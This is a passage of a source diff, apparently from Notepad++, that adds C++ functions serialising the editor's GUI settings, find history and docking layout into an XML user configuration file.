nppRoot->FirstChildElement(TEXT("GUIConfigs")); + if (not configsRoot) + { + configsRoot = nppRoot->InsertEndChild(TiXmlElement(TEXT("GUIConfigs"))); + } + + TiXmlNode *scintNode = getChildElementByAttribut(configsRoot, TEXT("GUIConfig"), TEXT("name"), pViewName); + if (not scintNode) + { + scintNode = configsRoot->InsertEndChild(TiXmlElement(TEXT("GUIConfig"))); + (scintNode->ToElement())->SetAttribute(TEXT("name"), pViewName); + } + + (scintNode->ToElement())->SetAttribute(TEXT("lineNumberMargin"), _svp._lineNumberMarginShow?TEXT("show"):TEXT("hide")); + (scintNode->ToElement())->SetAttribute(TEXT("bookMarkMargin"), _svp._bookMarkMarginShow?TEXT("show"):TEXT("hide")); + (scintNode->ToElement())->SetAttribute(TEXT("indentGuideLine"), _svp._indentGuideLineShow?TEXT("show"):TEXT("hide")); + const TCHAR *pFolderStyleStr = (_svp._folderStyle == FOLDER_STYLE_SIMPLE)?TEXT("simple"): + (_svp._folderStyle == FOLDER_STYLE_ARROW)?TEXT("arrow"): + (_svp._folderStyle == FOLDER_STYLE_CIRCLE)?TEXT("circle"): + (_svp._folderStyle == FOLDER_STYLE_NONE)?TEXT("none"):TEXT("box"); + (scintNode->ToElement())->SetAttribute(TEXT("folderMarkStyle"), pFolderStyleStr); + + const TCHAR *pWrapMethodStr = (_svp._lineWrapMethod == LINEWRAP_ALIGNED)?TEXT("aligned"): + (_svp._lineWrapMethod == LINEWRAP_INDENT)?TEXT("indent"):TEXT("default"); + (scintNode->ToElement())->SetAttribute(TEXT("lineWrapMethod"), pWrapMethodStr); + + (scintNode->ToElement())->SetAttribute(TEXT("currentLineHilitingShow"), _svp._currentLineHilitingShow?TEXT("show"):TEXT("hide")); + (scintNode->ToElement())->SetAttribute(TEXT("scrollBeyondLastLine"), _svp._scrollBeyondLastLine?TEXT("yes"):TEXT("no")); + (scintNode->ToElement())->SetAttribute(TEXT("disableAdvancedScrolling"), _svp._disableAdvancedScrolling?TEXT("yes"):TEXT("no")); + (scintNode->ToElement())->SetAttribute(TEXT("wrapSymbolShow"), _svp._wrapSymbolShow?TEXT("show"):TEXT("hide")); + (scintNode->ToElement())->SetAttribute(TEXT("Wrap"), _svp._doWrap?TEXT("yes"):TEXT("no")); + (scintNode->ToElement())->SetAttribute(TEXT("borderEdge"), _svp._showBorderEdge ? TEXT("yes") : TEXT("no")); + + TCHAR *edgeStr = NULL; + if (_svp._edgeMode == EDGE_NONE) + edgeStr = TEXT("no"); + else if (_svp._edgeMode == EDGE_LINE) + edgeStr = TEXT("line"); + else + edgeStr = TEXT("background"); + (scintNode->ToElement())->SetAttribute(TEXT("edge"), edgeStr); + (scintNode->ToElement())->SetAttribute(TEXT("edgeNbColumn"), _svp._edgeNbColumn); + (scintNode->ToElement())->SetAttribute(TEXT("zoom"), _svp._zoom); + (scintNode->ToElement())->SetAttribute(TEXT("zoom2"), _svp._zoom2); + (scintNode->ToElement())->SetAttribute(TEXT("whiteSpaceShow"), _svp._whiteSpaceShow?TEXT("show"):TEXT("hide")); + (scintNode->ToElement())->SetAttribute(TEXT("eolShow"), _svp._eolShow?TEXT("show"):TEXT("hide")); + (scintNode->ToElement())->SetAttribute(TEXT("borderWidth"), _svp._borderWidth); + (scintNode->ToElement())->SetAttribute(TEXT("smoothFont"), _svp._doSmoothFont ? TEXT("yes") : TEXT("no")); + return true; +} + +void NppParameters::createXmlTreeFromGUIParams() +{ + TiXmlNode *nppRoot = _pXmlUserDoc->FirstChild(TEXT("NotepadPlus")); + if (not nppRoot) + { + nppRoot = _pXmlUserDoc->InsertEndChild(TiXmlElement(TEXT("NotepadPlus"))); + } + + TiXmlNode *oldGUIRoot = nppRoot->FirstChildElement(TEXT("GUIConfigs")); + // Remove the old root nod if it exist + if (oldGUIRoot) + { + nppRoot->RemoveChild(oldGUIRoot); + } + + TiXmlNode *newGUIRoot = nppRoot->InsertEndChild(TiXmlElement(TEXT("GUIConfigs"))); + + // standard + { + TiXmlElement *GUIConfigElement = (newGUIRoot->InsertEndChild(TiXmlElement(TEXT("GUIConfig"))))->ToElement(); + GUIConfigElement->SetAttribute(TEXT("name"), TEXT("ToolBar")); + const TCHAR *pStr = (_nppGUI._toolbarShow) ? TEXT("yes") : TEXT("no"); + GUIConfigElement->SetAttribute(TEXT("visible"), pStr); + pStr = _nppGUI._toolBarStatus == TB_SMALL ? TEXT("small") : (_nppGUI._toolBarStatus == TB_STANDARD ? TEXT("standard") : TEXT("large")); + GUIConfigElement->InsertEndChild(TiXmlText(pStr)); + } + + // show + { + TiXmlElement *GUIConfigElement = (newGUIRoot->InsertEndChild(TiXmlElement(TEXT("GUIConfig"))))->ToElement(); + GUIConfigElement->SetAttribute(TEXT("name"), TEXT("StatusBar")); + const TCHAR *pStr = _nppGUI._statusBarShow ? TEXT("show") : TEXT("hide"); + GUIConfigElement->InsertEndChild(TiXmlText(pStr)); + } + + // + { + TiXmlElement *GUIConfigElement = (newGUIRoot->InsertEndChild(TiXmlElement(TEXT("GUIConfig"))))->ToElement(); + GUIConfigElement->SetAttribute(TEXT("name"), TEXT("TabBar")); + + const TCHAR *pStr = (_nppGUI._tabStatus & TAB_DRAWTOPBAR) ? TEXT("yes") : TEXT("no"); + GUIConfigElement->SetAttribute(TEXT("dragAndDrop"), pStr); + + pStr = (_nppGUI._tabStatus & TAB_DRAGNDROP) ? TEXT("yes") : TEXT("no"); + GUIConfigElement->SetAttribute(TEXT("drawTopBar"), pStr); + + pStr = (_nppGUI._tabStatus & TAB_DRAWINACTIVETAB) ? TEXT("yes") : TEXT("no"); + GUIConfigElement->SetAttribute(TEXT("drawInactiveTab"), pStr); + + pStr = (_nppGUI._tabStatus & TAB_REDUCE) ? TEXT("yes") : TEXT("no"); + GUIConfigElement->SetAttribute(TEXT("reduce"), pStr); + + pStr = (_nppGUI._tabStatus & TAB_CLOSEBUTTON) ? TEXT("yes") : TEXT("no"); + GUIConfigElement->SetAttribute(TEXT("closeButton"), pStr); + + pStr = (_nppGUI._tabStatus & TAB_DBCLK2CLOSE) ? TEXT("yes") : TEXT("no"); + GUIConfigElement->SetAttribute(TEXT("doubleClick2Close"), pStr); + + pStr = (_nppGUI._tabStatus & TAB_VERTICAL) ? TEXT("yes") : TEXT("no"); + GUIConfigElement->SetAttribute(TEXT("vertical"), pStr); + + pStr = (_nppGUI._tabStatus & TAB_MULTILINE) ? TEXT("yes") : TEXT("no"); + GUIConfigElement->SetAttribute(TEXT("multiLine"), pStr); + + pStr = (_nppGUI._tabStatus & TAB_HIDE) ? TEXT("yes") : TEXT("no"); + GUIConfigElement->SetAttribute(TEXT("hide"), pStr); + + pStr = (_nppGUI._tabStatus & TAB_QUITONEMPTY) ? TEXT("yes") : TEXT("no"); + GUIConfigElement->SetAttribute(TEXT("quitOnEmpty"), pStr); + } + + // vertical + { + TiXmlElement *GUIConfigElement = (newGUIRoot->InsertEndChild(TiXmlElement(TEXT("GUIConfig"))))->ToElement(); + GUIConfigElement->SetAttribute(TEXT("name"), TEXT("ScintillaViewsSplitter")); + const TCHAR *pStr = _nppGUI._splitterPos == POS_VERTICAL ? TEXT("vertical") : TEXT("horizontal"); + GUIConfigElement->InsertEndChild(TiXmlText(pStr)); + } + + // hide + { + TiXmlElement *GUIConfigElement = (newGUIRoot->InsertEndChild(TiXmlElement(TEXT("GUIConfig"))))->ToElement(); + GUIConfigElement->SetAttribute(TEXT("name"), TEXT("UserDefineDlg")); + const TCHAR *pStr = (_nppGUI._userDefineDlgStatus & UDD_DOCKED) ? TEXT("docked") : TEXT("undocked"); + GUIConfigElement->SetAttribute(TEXT("position"), pStr); + pStr = (_nppGUI._userDefineDlgStatus & UDD_SHOW) ? TEXT("show") : TEXT("hide"); + GUIConfigElement->InsertEndChild(TiXmlText(pStr)); + } + + // + { + TiXmlElement *GUIConfigElement = (newGUIRoot->InsertEndChild(TiXmlElement(TEXT("GUIConfig"))))->ToElement(); + GUIConfigElement->SetAttribute(TEXT("name"), TEXT("TabSetting")); + const TCHAR *pStr = _nppGUI._tabReplacedBySpace ? TEXT("yes") : TEXT("no"); + GUIConfigElement->SetAttribute(TEXT("replaceBySpace"), pStr); + GUIConfigElement->SetAttribute(TEXT("size"), _nppGUI._tabSize); + } + + // + { + TiXmlElement *GUIConfigElement = (newGUIRoot->InsertEndChild(TiXmlElement(TEXT("GUIConfig"))))->ToElement(); + GUIConfigElement->SetAttribute(TEXT("name"), TEXT("AppPosition")); + GUIConfigElement->SetAttribute(TEXT("x"), _nppGUI._appPos.left); + GUIConfigElement->SetAttribute(TEXT("y"), _nppGUI._appPos.top); + GUIConfigElement->SetAttribute(TEXT("width"), _nppGUI._appPos.right); + GUIConfigElement->SetAttribute(TEXT("height"), _nppGUI._appPos.bottom); + GUIConfigElement->SetAttribute(TEXT("isMaximized"), _nppGUI._isMaximized ? TEXT("yes") : TEXT("no")); + } + + // no + { + TiXmlElement *element = insertGUIConfigBoolNode(newGUIRoot, TEXT("noUpdate"), !_nppGUI._autoUpdateOpt._doAutoUpdate); + element->SetAttribute(TEXT("intervalDays"), _nppGUI._autoUpdateOpt._intervalDays); + element->SetAttribute(TEXT("nextUpdateDate"), _nppGUI._autoUpdateOpt._nextUpdateDate.toString().c_str()); + } + + // yes + { + const TCHAR *pStr = TEXT("no"); + switch (_nppGUI._fileAutoDetection) + { + case cdEnabled: + pStr = TEXT("yes"); + break; + case cdAutoUpdate: + pStr = TEXT("auto"); + break; + case cdGo2end: + pStr = TEXT("Update2End"); + break; + case cdAutoUpdateGo2end: + pStr = TEXT("autoUpdate2End"); + break; + } + TiXmlElement *GUIConfigElement = (newGUIRoot->InsertEndChild(TiXmlElement(TEXT("GUIConfig"))))->ToElement(); + GUIConfigElement->SetAttribute(TEXT("name"), TEXT("Auto-detection")); + GUIConfigElement->InsertEndChild(TiXmlText(pStr)); + } + + // no + { + insertGUIConfigBoolNode(newGUIRoot, TEXT("CheckHistoryFiles"), _nppGUI._checkHistoryFiles); + } + + // no + { + insertGUIConfigBoolNode(newGUIRoot, TEXT("TrayIcon"), _nppGUI._isMinimizedToTray); + } + + // yes + { + insertGUIConfigBoolNode(newGUIRoot, TEXT("MaitainIndent"), _nppGUI._maitainIndent); + } + + // yes< / GUIConfig> + { + TiXmlElement * ele = insertGUIConfigBoolNode(newGUIRoot, TEXT("TagsMatchHighLight"), _nppGUI._enableTagsMatchHilite); + ele->SetAttribute(TEXT("TagAttrHighLight"), _nppGUI._enableTagAttrsHilite ? TEXT("yes") : TEXT("no")); + ele->SetAttribute(TEXT("HighLightNonHtmlZone"), _nppGUI._enableHiliteNonHTMLZone ? TEXT("yes") : TEXT("no")); + } + + // yes< / GUIConfig> + { + insertGUIConfigBoolNode(newGUIRoot, TEXT("RememberLastSession"), _nppGUI._rememberLastSession); + } + + // yes< / GUIConfig> + { + insertGUIConfigBoolNode(newGUIRoot, TEXT("DetectEncoding"), _nppGUI._detectEncoding); + } + + // + { + TiXmlElement *GUIConfigElement = (newGUIRoot->InsertEndChild(TiXmlElement(TEXT("GUIConfig"))))->ToElement(); + GUIConfigElement->SetAttribute(TEXT("name"), TEXT("NewDocDefaultSettings")); + GUIConfigElement->SetAttribute(TEXT("format"), static_cast(_nppGUI._newDocDefaultSettings._format)); + GUIConfigElement->SetAttribute(TEXT("encoding"), _nppGUI._newDocDefaultSettings._unicodeMode); + GUIConfigElement->SetAttribute(TEXT("lang"), _nppGUI._newDocDefaultSettings._lang); + GUIConfigElement->SetAttribute(TEXT("codepage"), _nppGUI._newDocDefaultSettings._codepage); + GUIConfigElement->SetAttribute(TEXT("openAnsiAsUTF8"), _nppGUI._newDocDefaultSettings._openAnsiAsUtf8 ? TEXT("yes") : TEXT("no")); + } + + // + { + TiXmlElement *GUIConfigElement = (newGUIRoot->InsertEndChild(TiXmlElement(TEXT("GUIConfig"))))->ToElement(); + GUIConfigElement->SetAttribute(TEXT("name"), TEXT("langsExcluded")); + writeExcludedLangList(GUIConfigElement); + GUIConfigElement->SetAttribute(TEXT("langMenuCompact"), _nppGUI._isLangMenuCompact ? TEXT("yes") : TEXT("no")); + } + + // + { + TiXmlElement *GUIConfigElement = (newGUIRoot->InsertEndChild(TiXmlElement(TEXT("GUIConfig"))))->ToElement(); + GUIConfigElement->SetAttribute(TEXT("name"), TEXT("Print")); + writePrintSetting(GUIConfigElement); + } + + // + { + TiXmlElement *GUIConfigElement = (newGUIRoot->InsertEndChild(TiXmlElement(TEXT("GUIConfig"))))->ToElement(); + GUIConfigElement->SetAttribute(TEXT("name"), TEXT("Backup")); + GUIConfigElement->SetAttribute(TEXT("action"), _nppGUI._backup); + GUIConfigElement->SetAttribute(TEXT("useCustumDir"), _nppGUI._useDir ? TEXT("yes") : TEXT("no")); + GUIConfigElement->SetAttribute(TEXT("dir"), _nppGUI._backupDir.c_str()); + + GUIConfigElement->SetAttribute(TEXT("isSnapshotMode"), _nppGUI.isSnapshotMode() ? TEXT("yes") : TEXT("no")); + GUIConfigElement->SetAttribute(TEXT("snapshotBackupTiming"), static_cast(_nppGUI._snapshotBackupTiming)); + } + + // yes< / GUIConfig> + { + insertGUIConfigBoolNode(newGUIRoot, TEXT("TaskList"), _nppGUI._doTaskList); + } + + // yes< / GUIConfig> + { + insertGUIConfigBoolNode(newGUIRoot, TEXT("MRU"), _nppGUI._styleMRU); + } + + // 2 + { + const TCHAR *pStr = TEXT("0"); + if (_nppGUI._styleURL == 1) + pStr = TEXT("1"); + else if (_nppGUI._styleURL == 2) + pStr = TEXT("2"); + + TiXmlElement *GUIConfigElement = (newGUIRoot->InsertEndChild(TiXmlElement(TEXT("GUIConfig"))))->ToElement(); + GUIConfigElement->SetAttribute(TEXT("name"), TEXT("URL")); + GUIConfigElement->InsertEndChild(TiXmlText(pStr)); + } + + // + { + TiXmlElement *GUIConfigElement = (newGUIRoot->InsertEndChild(TiXmlElement(TEXT("GUIConfig"))))->ToElement(); + GUIConfigElement->SetAttribute(TEXT("name"), TEXT("globalOverride")); + GUIConfigElement->SetAttribute(TEXT("fg"), _nppGUI._globalOverride.enableFg ? TEXT("yes") : TEXT("no")); + GUIConfigElement->SetAttribute(TEXT("bg"), _nppGUI._globalOverride.enableBg ? TEXT("yes") : TEXT("no")); + GUIConfigElement->SetAttribute(TEXT("font"), _nppGUI._globalOverride.enableFont ? TEXT("yes") : TEXT("no")); + GUIConfigElement->SetAttribute(TEXT("fontSize"), _nppGUI._globalOverride.enableFontSize ? TEXT("yes") : TEXT("no")); + GUIConfigElement->SetAttribute(TEXT("bold"), _nppGUI._globalOverride.enableBold ? TEXT("yes") : TEXT("no")); + GUIConfigElement->SetAttribute(TEXT("italic"), _nppGUI._globalOverride.enableItalic ? TEXT("yes") : TEXT("no")); + GUIConfigElement->SetAttribute(TEXT("underline"), _nppGUI._globalOverride.enableUnderLine ? TEXT("yes") : TEXT("no")); + } + + // + { + TiXmlElement *GUIConfigElement = (newGUIRoot->InsertEndChild(TiXmlElement(TEXT("GUIConfig"))))->ToElement(); + GUIConfigElement->SetAttribute(TEXT("name"), TEXT("auto-completion")); + GUIConfigElement->SetAttribute(TEXT("autoCAction"), _nppGUI._autocStatus); + GUIConfigElement->SetAttribute(TEXT("triggerFromNbChar"), static_cast(_nppGUI._autocFromLen)); + + const TCHAR * pStr = _nppGUI._autocIgnoreNumbers ? TEXT("yes") : TEXT("no"); + GUIConfigElement->SetAttribute(TEXT("autoCIgnoreNumbers"), pStr); + + pStr = _nppGUI._funcParams ? TEXT("yes") : TEXT("no"); + GUIConfigElement->SetAttribute(TEXT("funcParams"), pStr); + } + + // + { + TiXmlElement *GUIConfigElement = (newGUIRoot->InsertEndChild(TiXmlElement(TEXT("GUIConfig"))))->ToElement(); + GUIConfigElement->SetAttribute(TEXT("name"), TEXT("auto-insert")); + + GUIConfigElement->SetAttribute(TEXT("parentheses"), _nppGUI._matchedPairConf._doParentheses ? TEXT("yes") : TEXT("no")); + GUIConfigElement->SetAttribute(TEXT("brackets"), _nppGUI._matchedPairConf._doBrackets ? TEXT("yes") : TEXT("no")); + GUIConfigElement->SetAttribute(TEXT("curlyBrackets"), _nppGUI._matchedPairConf._doCurlyBrackets ? TEXT("yes") : TEXT("no")); + GUIConfigElement->SetAttribute(TEXT("quotes"), _nppGUI._matchedPairConf._doQuotes ? TEXT("yes") : TEXT("no")); + GUIConfigElement->SetAttribute(TEXT("doubleQuotes"), _nppGUI._matchedPairConf._doDoubleQuotes ? TEXT("yes") : TEXT("no")); + GUIConfigElement->SetAttribute(TEXT("htmlXmlTag"), _nppGUI._matchedPairConf._doHtmlXmlTag ? TEXT("yes") : TEXT("no")); + + TiXmlElement hist_element{ TEXT("") }; + hist_element.SetValue(TEXT("UserDefinePair")); + for (size_t i = 0, nb = _nppGUI._matchedPairConf._matchedPairs.size(); i < nb; ++i) + { + int open = _nppGUI._matchedPairConf._matchedPairs[i].first; + int close = _nppGUI._matchedPairConf._matchedPairs[i].second; + + (hist_element.ToElement())->SetAttribute(TEXT("open"), open); + (hist_element.ToElement())->SetAttribute(TEXT("close"), close); + GUIConfigElement->InsertEndChild(hist_element); + } + } + + // < / GUIConfig> + { + TiXmlElement *GUIConfigElement = (newGUIRoot->InsertEndChild(TiXmlElement(TEXT("GUIConfig"))))->ToElement(); + GUIConfigElement->SetAttribute(TEXT("name"), TEXT("sessionExt")); + GUIConfigElement->InsertEndChild(TiXmlText(_nppGUI._definedSessionExt.c_str())); + } + + // + { + TiXmlElement *GUIConfigElement = (newGUIRoot->InsertEndChild(TiXmlElement(TEXT("GUIConfig"))))->ToElement(); + GUIConfigElement->SetAttribute(TEXT("name"), TEXT("workspaceExt")); + GUIConfigElement->InsertEndChild(TiXmlText(_nppGUI._definedWorkspaceExt.c_str())); + } + + // show + { + TiXmlElement *GUIConfigElement = (newGUIRoot->InsertEndChild(TiXmlElement(TEXT("GUIConfig"))))->ToElement(); + GUIConfigElement->SetAttribute(TEXT("name"), TEXT("MenuBar")); + GUIConfigElement->InsertEndChild(TiXmlText(_nppGUI._menuBarShow ? TEXT("show") : TEXT("hide"))); + } + + // + { + TiXmlElement *GUIConfigElement = (newGUIRoot->InsertEndChild(TiXmlElement(TEXT("GUIConfig"))))->ToElement(); + GUIConfigElement->SetAttribute(TEXT("name"), TEXT("Caret")); + GUIConfigElement->SetAttribute(TEXT("width"), _nppGUI._caretWidth); + GUIConfigElement->SetAttribute(TEXT("blinkRate"), _nppGUI._caretBlinkRate); + } + + // + { + TiXmlElement *GUIConfigElement = (newGUIRoot->InsertEndChild(TiXmlElement(TEXT("GUIConfig"))))->ToElement(); + GUIConfigElement->SetAttribute(TEXT("name"), TEXT("ScintillaGlobalSettings")); + GUIConfigElement->SetAttribute(TEXT("enableMultiSelection"), _nppGUI._enableMultiSelection ? TEXT("yes") : TEXT("no")); + } + + // + { + TiXmlElement *GUIConfigElement = (newGUIRoot->InsertEndChild(TiXmlElement(TEXT("GUIConfig"))))->ToElement(); + GUIConfigElement->SetAttribute(TEXT("name"), TEXT("openSaveDir")); + GUIConfigElement->SetAttribute(TEXT("value"), _nppGUI._openSaveDir); + GUIConfigElement->SetAttribute(TEXT("defaultDirPath"), _nppGUI._defaultDir); + } + + // + { + TiXmlElement *GUIConfigElement = (newGUIRoot->InsertEndChild(TiXmlElement(TEXT("GUIConfig"))))->ToElement(); + GUIConfigElement->SetAttribute(TEXT("name"), TEXT("titleBar")); + const TCHAR *pStr = (_nppGUI._shortTitlebar) ? TEXT("yes") : TEXT("no"); + GUIConfigElement->SetAttribute(TEXT("short"), pStr); + } + + // + { + TiXmlElement *GUIConfigElement = (newGUIRoot->InsertEndChild(TiXmlElement(TEXT("GUIConfig"))))->ToElement(); + GUIConfigElement->SetAttribute(TEXT("name"), TEXT("stylerTheme")); + GUIConfigElement->SetAttribute(TEXT("path"), _nppGUI._themeName.c_str()); + } + + // + { + TiXmlElement *GUIConfigElement = (newGUIRoot->InsertEndChild(TiXmlElement(TEXT("GUIConfig"))))->ToElement(); + GUIConfigElement->SetAttribute(TEXT("name"), TEXT("wordCharList")); + GUIConfigElement->SetAttribute(TEXT("useDefault"), _nppGUI._isWordCharDefault ? TEXT("yes") : TEXT("no")); + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + const wchar_t* charsAddStr = wmc->char2wchar(_nppGUI._customWordChars.c_str(), SC_CP_UTF8); + GUIConfigElement->SetAttribute(TEXT("charsAdded"), charsAddStr); + } + + // + { + TiXmlElement *GUIConfigElement = (newGUIRoot->InsertEndChild(TiXmlElement(TEXT("GUIConfig"))))->ToElement(); + GUIConfigElement->SetAttribute(TEXT("name"), TEXT("delimiterSelection")); + GUIConfigElement->SetAttribute(TEXT("leftmostDelimiter"), _nppGUI._leftmostDelimiter); + GUIConfigElement->SetAttribute(TEXT("rightmostDelimiter"), _nppGUI._rightmostDelimiter); + GUIConfigElement->SetAttribute(TEXT("delimiterSelectionOnEntireDocument"), _nppGUI._delimiterSelectionOnEntireDocument ? TEXT("yes") : TEXT("no")); + } + + // + { + TiXmlElement *GUIConfigElement = (newGUIRoot->InsertEndChild(TiXmlElement(TEXT("GUIConfig"))))->ToElement(); + GUIConfigElement->SetAttribute(TEXT("name"), TEXT("multiInst")); + GUIConfigElement->SetAttribute(TEXT("setting"), _nppGUI._multiInstSetting); + } + + // + { + TiXmlElement *GUIConfigElement = (newGUIRoot->InsertEndChild(TiXmlElement(TEXT("GUIConfig"))))->ToElement(); + GUIConfigElement->SetAttribute(TEXT("name"), TEXT("MISC")); + + GUIConfigElement->SetAttribute(TEXT("fileSwitcherWithoutExtColumn"), _nppGUI._fileSwitcherWithoutExtColumn ? TEXT("yes") : TEXT("no")); + GUIConfigElement->SetAttribute(TEXT("backSlashIsEscapeCharacterForSql"), _nppGUI._backSlashIsEscapeCharacterForSql ? TEXT("yes") : TEXT("no")); + GUIConfigElement->SetAttribute(TEXT("newStyleSaveDlg"), _nppGUI._useNewStyleSaveDlg ? TEXT("yes") : TEXT("no")); + GUIConfigElement->SetAttribute(TEXT("isFolderDroppedOpenFiles"), _nppGUI._isFolderDroppedOpenFiles ? TEXT("yes") : TEXT("no")); + GUIConfigElement->SetAttribute(TEXT("docPeekOnTab"), _nppGUI._isDocPeekOnTab ? TEXT("yes") : TEXT("no")); + GUIConfigElement->SetAttribute(TEXT("docPeekOnMap"), _nppGUI._isDocPeekOnMap ? TEXT("yes") : TEXT("no")); + } + + // + { + TiXmlElement *GUIConfigElement = (newGUIRoot->InsertEndChild(TiXmlElement(TEXT("GUIConfig"))))->ToElement(); + GUIConfigElement->SetAttribute(TEXT("name"), TEXT("searchEngine")); + GUIConfigElement->SetAttribute(TEXT("searchEngineChoice"), _nppGUI._searchEngineChoice); + GUIConfigElement->SetAttribute(TEXT("searchEngineCustom"), _nppGUI._searchEngineCustom); + } + + // yes + { + TiXmlElement *GUIConfigElement = insertGUIConfigBoolNode(newGUIRoot, TEXT("SmartHighLight"), _nppGUI._enableSmartHilite); + GUIConfigElement->SetAttribute(TEXT("matchCase"), _nppGUI._smartHiliteCaseSensitive ? TEXT("yes") : TEXT("no")); + GUIConfigElement->SetAttribute(TEXT("wholeWordOnly"), _nppGUI._smartHiliteWordOnly ? TEXT("yes") : TEXT("no")); + GUIConfigElement->SetAttribute(TEXT("useFindSettings"), _nppGUI._smartHiliteUseFindSettings ? TEXT("yes") : TEXT("no")); + GUIConfigElement->SetAttribute(TEXT("onAnotherView"), _nppGUI._smartHiliteOnAnotherView ? TEXT("yes") : TEXT("no")); + } + + // + writeScintillaParams(); + + // + // ... + insertDockingParamNode(newGUIRoot); +} + +bool NppParameters::writeFindHistory() +{ + if (not _pXmlUserDoc) return false; + + TiXmlNode *nppRoot = _pXmlUserDoc->FirstChild(TEXT("NotepadPlus")); + if (not nppRoot) + { + nppRoot = _pXmlUserDoc->InsertEndChild(TiXmlElement(TEXT("NotepadPlus"))); + } + + TiXmlNode *findHistoryRoot = nppRoot->FirstChildElement(TEXT("FindHistory")); + if (!findHistoryRoot) + { + TiXmlElement element(TEXT("FindHistory")); + findHistoryRoot = nppRoot->InsertEndChild(element); + } + findHistoryRoot->Clear(); + + (findHistoryRoot->ToElement())->SetAttribute(TEXT("nbMaxFindHistoryPath"), _findHistory._nbMaxFindHistoryPath); + (findHistoryRoot->ToElement())->SetAttribute(TEXT("nbMaxFindHistoryFilter"), _findHistory._nbMaxFindHistoryFilter); + (findHistoryRoot->ToElement())->SetAttribute(TEXT("nbMaxFindHistoryFind"), _findHistory._nbMaxFindHistoryFind); + (findHistoryRoot->ToElement())->SetAttribute(TEXT("nbMaxFindHistoryReplace"), _findHistory._nbMaxFindHistoryReplace); + + (findHistoryRoot->ToElement())->SetAttribute(TEXT("matchWord"), _findHistory._isMatchWord?TEXT("yes"):TEXT("no")); + (findHistoryRoot->ToElement())->SetAttribute(TEXT("matchCase"), _findHistory._isMatchCase?TEXT("yes"):TEXT("no")); + (findHistoryRoot->ToElement())->SetAttribute(TEXT("wrap"), _findHistory._isWrap?TEXT("yes"):TEXT("no")); + (findHistoryRoot->ToElement())->SetAttribute(TEXT("directionDown"), _findHistory._isDirectionDown?TEXT("yes"):TEXT("no")); + + (findHistoryRoot->ToElement())->SetAttribute(TEXT("fifRecuisive"), _findHistory._isFifRecuisive?TEXT("yes"):TEXT("no")); + (findHistoryRoot->ToElement())->SetAttribute(TEXT("fifInHiddenFolder"), _findHistory._isFifInHiddenFolder?TEXT("yes"):TEXT("no")); + (findHistoryRoot->ToElement())->SetAttribute(TEXT("dlgAlwaysVisible"), _findHistory._isDlgAlwaysVisible?TEXT("yes"):TEXT("no")); + (findHistoryRoot->ToElement())->SetAttribute(TEXT("fifFilterFollowsDoc"), _findHistory._isFilterFollowDoc?TEXT("yes"):TEXT("no")); + (findHistoryRoot->ToElement())->SetAttribute(TEXT("fifFolderFollowsDoc"), _findHistory._isFolderFollowDoc?TEXT("yes"):TEXT("no")); + + (findHistoryRoot->ToElement())->SetAttribute(TEXT("searchMode"), _findHistory._searchMode); + (findHistoryRoot->ToElement())->SetAttribute(TEXT("transparencyMode"), _findHistory._transparencyMode); + (findHistoryRoot->ToElement())->SetAttribute(TEXT("transparency"), _findHistory._transparency); + (findHistoryRoot->ToElement())->SetAttribute(TEXT("dotMatchesNewline"), _findHistory._dotMatchesNewline?TEXT("yes"):TEXT("no")); + + TiXmlElement hist_element{TEXT("")}; + + hist_element.SetValue(TEXT("Path")); + for (size_t i = 0, len = _findHistory._findHistoryPaths.size(); i < len; ++i) + { + (hist_element.ToElement())->SetAttribute(TEXT("name"), _findHistory._findHistoryPaths[i].c_str()); + findHistoryRoot->InsertEndChild(hist_element); + } + + hist_element.SetValue(TEXT("Filter")); + for (size_t i = 0, len = _findHistory._findHistoryFilters.size(); i < len; ++i) + { + (hist_element.ToElement())->SetAttribute(TEXT("name"), _findHistory._findHistoryFilters[i].c_str()); + findHistoryRoot->InsertEndChild(hist_element); + } + + hist_element.SetValue(TEXT("Find")); + for (size_t i = 0, len = _findHistory._findHistoryFinds.size(); i < len; ++i) + { + (hist_element.ToElement())->SetAttribute(TEXT("name"), _findHistory._findHistoryFinds[i].c_str()); + findHistoryRoot->InsertEndChild(hist_element); + } + + hist_element.SetValue(TEXT("Replace")); + for (size_t i = 0, len = _findHistory._findHistoryReplaces.size(); i < len; ++i) + { + (hist_element.ToElement())->SetAttribute(TEXT("name"), _findHistory._findHistoryReplaces[i].c_str()); + findHistoryRoot->InsertEndChild(hist_element); + } + + return true; +} + +void NppParameters::insertDockingParamNode(TiXmlNode *GUIRoot) +{ + TiXmlElement DMNode(TEXT("GUIConfig")); + DMNode.SetAttribute(TEXT("name"), TEXT("DockingManager")); + DMNode.SetAttribute(TEXT("leftWidth"), _nppGUI._dockingData._leftWidth); + DMNode.SetAttribute(TEXT("rightWidth"), _nppGUI._dockingData._rightWidth); + DMNode.SetAttribute(TEXT("topHeight"), _nppGUI._dockingData._topHeight); + DMNode.SetAttribute(TEXT("bottomHeight"), _nppGUI._dockingData._bottomHight); + + for (size_t i = 0, len = _nppGUI._dockingData._flaotingWindowInfo.size(); i < len ; ++i) + { + FloatingWindowInfo & fwi = _nppGUI._dockingData._flaotingWindowInfo[i]; + TiXmlElement FWNode(TEXT("FloatingWindow")); + FWNode.SetAttribute(TEXT("cont"), fwi._cont); + FWNode.SetAttribute(TEXT("x"), fwi._pos.left); + FWNode.SetAttribute(TEXT("y"), fwi._pos.top); + FWNode.SetAttribute(TEXT("width"), fwi._pos.right); + FWNode.SetAttribute(TEXT("height"), fwi._pos.bottom); + + DMNode.InsertEndChild(FWNode); + } + + for (size_t i = 0, len = _nppGUI._dockingData._pluginDockInfo.size() ; i < len ; ++i) + { + PluginDlgDockingInfo & pdi = _nppGUI._dockingData._pluginDockInfo[i]; + TiXmlElement PDNode(TEXT("PluginDlg")); + PDNode.SetAttribute(TEXT("pluginName"), pdi._name); + PDNode.SetAttribute(TEXT("id"), pdi._internalID); + PDNode.SetAttribute(TEXT("curr"), pdi._currContainer); + PDNode.SetAttribute(TEXT("prev"), pdi._prevContainer); + PDNode.SetAttribute(TEXT("isVisible"), pdi._isVisible?TEXT("yes"):TEXT("no")); + + DMNode.InsertEndChild(PDNode); + } + + for (size_t i = 0, len = _nppGUI._dockingData._containerTabInfo.size(); i < len ; ++i) + { + ContainerTabInfo & cti = _nppGUI._dockingData._containerTabInfo[i]; + TiXmlElement CTNode(TEXT("ActiveTabs")); + CTNode.SetAttribute(TEXT("cont"), cti._cont); + CTNode.SetAttribute(TEXT("activeTab"), cti._activeTab); + DMNode.InsertEndChild(CTNode); + } + + GUIRoot->InsertEndChild(DMNode); +} + +void 